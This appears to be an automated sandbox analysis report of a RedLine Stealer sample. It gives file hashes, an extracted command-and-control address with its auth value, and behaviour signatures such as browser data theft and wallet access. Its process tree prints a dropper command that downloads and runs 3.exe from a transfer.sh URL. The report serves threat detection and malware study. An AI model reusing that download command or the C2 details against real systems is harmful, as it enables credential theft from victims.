Analysis

  • max time kernel
    73s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    01/04/2022, 19:09

General

  • Target
    e8267780010f1b79d10d22bf70ba6f5e.exe
  • Size 349KB
  • Sample220401-xtr1rscabp
  • SHA256 1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • redline

C2
  • 78.24.216.5:12794

Attributes
  • auth_value

    6687e352a0604d495c3851d248ebf06f

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe
    "C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4032
      • C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2852
      • C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:4456
      • C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2828
      • C:\Users\Admin\AppData\Local\Temp\5348\3.exe
        3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5032
      • C:\Users\Admin\AppData\Local\Temp\5348\3.exe
        3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
      • C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "" "" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2728

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        3.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3.exe.log
        • Size 2KB
        • SHA256 c60bc1eb89601d8780e868f01709628edd1d7b2b8bd963eae97a91dcf4566d01
        • MD5 SHA1 SHA512

        3.exe

        • Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
        • Size 106KB
        • SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
        • MD5 SHA1 SHA512 SSDEEP

        3.exe

        • Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
        • Size 106KB
        • SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
        • MD5 SHA1 SHA512 SSDEEP

        3.exe

        • Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
        • Size 106KB
        • SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
        • MD5 SHA1 SHA512 SSDEEP

        8EBA.bat

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat
        • Size 604B
        • SHA256 735c3b7203d3a9fb277baca37f1b25c0b7b59da57d69762864a57a20a3c384a1
        • MD5 SHA1 SHA512

        extd.exe

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        • Size 259KB
        • SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
        • MD5 SHA1 SHA512 SSDEEP

        extd.exe

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        • Size 259KB
        • SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
        • MD5 SHA1 SHA512 SSDEEP

        extd.exe

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        • Size 259KB
        • SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
        • MD5 SHA1 SHA512 SSDEEP

        extd.exe

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        • Size 259KB
        • SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
        • MD5 SHA1 SHA512 SSDEEP

        extd.exe

        • Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
        • Size 259KB
        • SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
        • MD5 SHA1 SHA512 SSDEEP

        memory/5024-149-0x0000000005C90000-0x0000000005CAE000-memory.dmp

        memory/5024-142-0x0000000005D20000-0x0000000006338000-memory.dmp

        memory/5024-143-0x0000000005700000-0x0000000005712000-memory.dmp

        memory/5024-153-0x0000000009540000-0x0000000009A6C000-memory.dmp

        memory/5024-152-0x0000000008E40000-0x0000000009002000-memory.dmp

        memory/5024-151-0x0000000008400000-0x0000000008450000-memory.dmp

        memory/5032-147-0x0000000005840000-0x00000000058D2000-memory.dmp

        memory/5032-148-0x0000000006510000-0x0000000006AB4000-memory.dmp

        memory/5032-141-0x0000000000A50000-0x0000000000A70000-memory.dmp

        memory/5032-150-0x0000000006360000-0x00000000063C6000-memory.dmp

        memory/5032-146-0x00000000057C0000-0x0000000005836000-memory.dmp

        memory/5032-145-0x0000000005440000-0x000000000547C000-memory.dmp

        memory/5032-144-0x0000000005510000-0x000000000561A000-memory.dmp